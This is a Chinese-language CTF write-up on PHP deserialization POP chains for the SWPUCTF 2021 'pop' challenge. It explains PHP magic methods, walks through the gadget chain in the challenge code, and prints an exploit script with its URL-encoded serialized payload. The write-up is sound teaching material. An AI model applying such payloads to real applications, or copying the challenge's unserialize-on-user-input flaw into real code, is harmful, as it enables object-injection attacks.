文章目录
- 一些常见魔术方法
- [SWPUCTF 2021 新生赛]pop
- 总结
这一类题目比较考验对一段代码的逻辑方面的理解,通过利用魔数方法进行互相调用,形成一条链子,利用这条链子将对象联系起来去拿flag。
(比较菜的我做了4道题目才理解了这类题目,你们应该比我强)
一些常见魔术方法
日常积累,目前做过的题目中见过的
__construct() 类的构造函数,在对象实例化时调用
__destruct() 类的析构函数,在对象被销毁时被调用
__call() 在对象中调用一个不可访问的对象时被调用,比如一个对象被调用时,里面没有程序想调用的属性
__get() 个人觉得和call函数类似
__isset() 当一个对象调用isset()或empty()时被调用
__sleep() 执行serialize()时,先会调用这个函数
__wakeup() 执行unserialize()时,先会调用这个函数,改属性键值可绕过
__toString() 类被当成字符串时被调用,如出现echo或者pre_match时
__invoke() 以函数的形式调用一个对象时被调用
__clone() 出现clone函数,会被调用
[SWPUCTF 2021 新生赛]pop
<?phperror_reporting(0);
show_source("index.php");class w44m{ private $admin = 'aaa';
protected $passwd = '123456'; public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}$w00m = $_GET['w00m'];
unserialize($w00m);?>
首先观察一下整段代码,再结合上面总结的魔术方法分析一下,w44m
类里面的Getflag
函数可以用来读取flag,因此就将它作为这条链子的尾部。
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
再想一下如何去调用这个函数,看下面这段代码。这段代码中,$this->w00m->{$this->w22m}();
会调用函数,所以只需要给$w00m
赋一个w44m
类,然后再给w22m
赋一个Getflag
就能成功调用该函数。
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
再再考虑一下如何调用这个w33m
类呢??上面写过__toString()
这个方法会在一个对象被当作字符串时被调用,于是我们就能看到下面w22m
这个类里面的echo
函数。我们只要给w00m
赋一个w33m
类,就能调用。
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
到了这里,析构函数会在对象被销毁时调用,所以我们已经摸到这条链子的头了,捋一下这条链子。
w22m::__destruct()->w33m::__toString()->w44m::Getflag()
这道题目很基础,所以出题人按顺序给类命名,算是小提示
然后我们构造一下exp
这里注意,因为admin和passwd是私有类和被保护的类,所以没办法在该类的外部赋值或引用,所以要在类中提前赋值
<?php
class w44m{
private $admin='w44m';
protected $passwd='08067';
}class w22m{
public $w00m;
}class w33m{
public $w00m;
public $w22m;
}$a=new w22m;
$a->w00m=new w33m;
$a->w00m->w00m=new w44m;
$a->w00m->w22m='Getflag';echo urlencode(serialize($a));
?>
运行得到
O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D
个人建议:像这样赋值可以防止思路变模糊,这两天看其他大佬的构造,有提前全部实例化然后一个个赋值的,很乱,很难看懂,所以推荐上面的赋值方式,也是从别的大佬那边学来的。
拿到flag
总结
刚入门的话确实挺难懂的,建议多做做简单的题,找找感觉,一题一题地去理解,一般3、4道就能会了。看wp的时候不会的多查一查,找到自己能理解的文章去看,一些函数也多去查和理解,多动手自己构造。
发表评论 取消回复